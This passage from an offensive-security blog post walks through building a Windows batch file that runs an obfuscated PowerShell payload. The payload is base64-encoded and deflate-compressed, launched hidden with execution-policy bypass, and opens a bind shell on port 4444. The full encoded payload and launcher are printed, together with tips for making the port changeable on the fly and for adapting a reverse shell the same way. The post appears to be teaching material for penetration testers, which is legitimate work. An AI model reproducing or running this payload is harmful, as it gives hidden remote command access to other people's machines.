Nice! We have an encoded output that looks very similar to the Veil encoding we picked apart before. Note the use of using the Set-Alias(sal) cmdlet to allow the script to use 'a' instead of 'New-Object'. Presumably to save space? Note the use of shortened cmdlet names in general for both Set-Alias(sal) and Invoke-Execution(iex). See: http://ss64.com/ps/

@echo off
set command="$Port=4444;sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('nVTBbptAEL1b8j+MkA8gAyK2U1WOLMVJldZSmkbBag4Wh80yjldZL2hZHJM0X9ZDP6m/0AGDgl0fqnKZZXbmvTfDDL9//uo9CzUc3GuWpqhDo4V6hAmcW93O4pOUs3WaaGNbT6gVyuHAj6W0nAjS/EEKDplhhgxuDd3DTJlbo+G70CZnciplwu3a9+xCLpSBbW2L2r44Z/9PdKmRGZyvyMQNUV4Db1x4p65PLfLaU9Fb592O0cVrt9OTIjOoUFMHFmFB57V/g8YPE/6EJvPnPL2uI6LeLeltpfgkkQpwgB5ycymQqCbwHjDlHFNDGJfVne1QWFYhl2G7BH93RzdrozPxgkxrVpRypuUhGo93Rc8U0SmOtvVQGLRcGL2j+XfIUWzQ3sNw4AckufFULiWF6l3Mt+Uyq/gD8qWskAmLQ0opGS+EuUzUBjX1nIjnCTVtONhHdQNnp7XO/Ve5ba7+6RGMRRCVqrYXV93O80pIBPtAsyfNHowDr1Xn96P61NojbWlTufsp/VP3xD329Xf2SrLHjAq7SRSS7rduZ5loEicmJ2fQEyQLYVSe+v1G0WFpPRG1BuygzZ/RXFCPMntBoxo12r8wFUt0KNU7iSrW3n1rbwluGsfevEgRvDWuH1B/wqVQwohEwbEV927YGsGqQCzwFL1lKeMIlecqV7xMzcBLWZaZlc7L+UhIEurJHvV4vLfvgXtYrn+N6tGs3GA7DIKAzKicmab6u1wZsUZ/ViInaYh6Izhm/lemsxWT5QQlafH3N4PAhcVuiyO7UeY3M+o4NGLHdTgHrWtGtP6NkEC3gXPLl6C9OGcQllvuhRIxBS9EnqgYPn4YDYI3zgxfvb79AQ=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command %command%) else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command %command%)  

This bat file will set the command to our Powershell command, but prepended with $Port=4444;. This sets the $Port variable, which will be present when the encoded script is decoded and executed. This allows us to easily change the bind port on the fly without having to re-encode our payload. The same technqique can be applied to reverse shells! To test your understanding of decoding and encoding scripts, try to decode and convert the Veil HTTPS reverse shell to one where you specify the Port and IP address outside of the encoded script.

The bat script will then check the processor architecture and run the 32-bit version of powershell.exe. This is necessary because in 64 bit systems, the 32-bit powershell executeable is located in %WinDir%\syswow64\windowspowershell\v1.0\.

And thats it! We now have a .bat file that if run will open a bind shell and whose bind port can be easily changed on the fly.

We covered a lot of details on PowerShell, Win32 interop with .NET, and Metasploit stagers, but this only scratches the surface. Stay tuned for more blogs and be sure to check other article from the blogs linked to in this post.

Kevin Dick

Read more posts by this author.